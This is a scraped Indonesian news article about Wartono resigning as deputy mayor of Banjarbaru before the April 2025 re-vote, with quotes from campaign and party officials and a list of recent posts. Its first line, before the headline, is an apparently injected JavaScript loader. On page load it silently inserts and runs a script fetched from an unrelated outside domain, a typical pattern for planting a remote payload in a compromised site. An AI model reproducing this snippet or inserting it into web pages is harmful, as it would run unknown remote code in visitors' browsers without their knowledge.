(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Langkah Mundur Wartono dari Wawali Banjarbaru, Klaim Hindari Konflik Kepentingan PSU


KANALKALIMANTAN.COM, BANJARBARU – Tim Pemenangan pasangan calon Wali Kota dan Wakil Wali Kota Banjarbaru Lisa – Wartono angkat bicara perihal keputusan Wartono mundur sebagai Wakil Wali Kota (Wawali) Banjarbaru yang diumumkan pada Kamis (13/3/2025) kemarin.

Ketua Tim Pemenangan Lisa – Wartono, Darmawan Jaya Setiawan menegaskan bahwa keputusan itu didasari oleh niat baik Wartono untuk menghindari potensi konflik kepentingan jelang Pemungutan Suara Ulang (PSU) Pilwali Banjarbaru yang akan digelar 19 April mendatang.

Menurut dia sebagai pasangan calon PSU Pilwali Banjarbaru, posisi Wartono sebagai kepala daerah bisa menimbulkan persoalan etika dan netralitas.

Baca juga: Kekosongan Wali Kota di Banjarbaru, Ketua DPRD: Plh atau Pjs Diputuskan Gubernur

Ketua Tim Pemenangan Lisa-Wartono, Darmawan Jaya Setiawan.  Foto: wanda

“Ada keinginan baik dari pak Wartono untuk menghindari konflik kepentingan apabila beliau masih menjabat sebagai kepala daerah, sedangkan di sisi lain juga sebagai peserta PSU Pilwali Banjarbaru,” ujar Darmawan Jaya Setiawan, Jumat (14/3/2025) siang.

Pasca pengunduran diri Wartono itu, Tim Pemenangan Lisa – Wartono mengaku menghormati keputusan yang telah  diambil.

“Kami menilai langkah yang diambil pak Wartono adalah agar dapat lebih fokus menghadapi PSU Pilwali Banjarbaru yang akan dilaksanakan 19 April 2025,” imbuh politisi Nasdem itu.

Baca juga: Penyelewengan Barang Subsidi, Polda Kalsel Sita Ratusan LPG 3 Kg dan 2,5 Ton Solar

Sementara Sekretaris DPC PDI Perjuangan Banjarbaru Windi Novianto berkomentar bahwa keputusan politik yang disampaikan Wartono, sebelumnya telah dimusyawarahkan dengan pihak keluarga maupun pasangan politik Wartono.

“Pengunduran diri Wartono, sebagai bentuk antisipasi menghindari gugatan di kemudian hari,” ujar Windi.

Demi menghindari konflik kepentingan saat pelaksanaan PSU nanti, Wartono lebih memilih mundur.

Baca juga: Satgas Pangan Polda Kalsel Tindak Penumpukan atau Pengurangan Bahan Pokok

“Kejadian pak Wartono ini pada saat proses pencalonan berlangsung. Dari KPU juga tidak ada jawaban, lebih baik mundur saja,” tutup Windi.

Sebelumnya Wakil Wali Kota Banjarbaru Wartono menyusul mengumumkan berhenti diri dari jabatan setelah Wali Kota Banjarbaru Aditya Mufti Ariffin menyatakan mundur karena mendapat amanah baru sebagai Komisaris di salah satu BUMN, PT Jasindo. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Camilan dan Kue Kering di Pasar Sudimampir Mulai Ramai Diburu

KANALKALIMANTAN.COM, BANJARMASIN – Pengunjung mulai terasa memadati pusat perbelanjaan pakaian dan makanan Pasar Sudimampir Banjarmasin… Read More

16 menit ago

Bupati Banjar dan Jajaran Safari Ramadan ke Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Safari Ramadan Bupati Banjar H Saidi Mansyur, Wabup Banjar Habib Idrus Al… Read More

38 menit ago

57 Pelamar Lolos Seleksi Administrasi Uji Kompetensi KPID Kalsel 2024-2027

KANALKALIMANTAN.COM, BANJARBARU - Komisi Penyiaran Indonesia Daerah (KPID) Provinsi Kalimantan Selatan mengumumkan puluhan pelamar yang… Read More

1 jam ago

Gunungan Sampah di Veteran Banjarmasin, Darurat Sampah Makin Menjadi

KANALKALIMANTAN.COM, BANJARMASIN – Darurat sampah di Banjarmasin sudah tak bisa ditolerir, keterbatasan titik kumpul sampah… Read More

14 jam ago

Sahrujani – Hero Setiawan Bertekad Membawa HSU Bangkit

KANALKALIMANTAN.COM, AMUNTAI – “HSU Bangkit!”, semangat itu terlontar saat Bupati Hulu Sungai Utara (HSU) H… Read More

14 jam ago

Kekosongan Kepala Daerah di Ibu Kota Kalsel

KANALKALIMANTAN.COM, BANJARBARU -  Posisi kepala daerah di Ibu Kota Provinsi Kalimantan Selatan harus diisi selambat-lambatnya… Read More

15 jam ago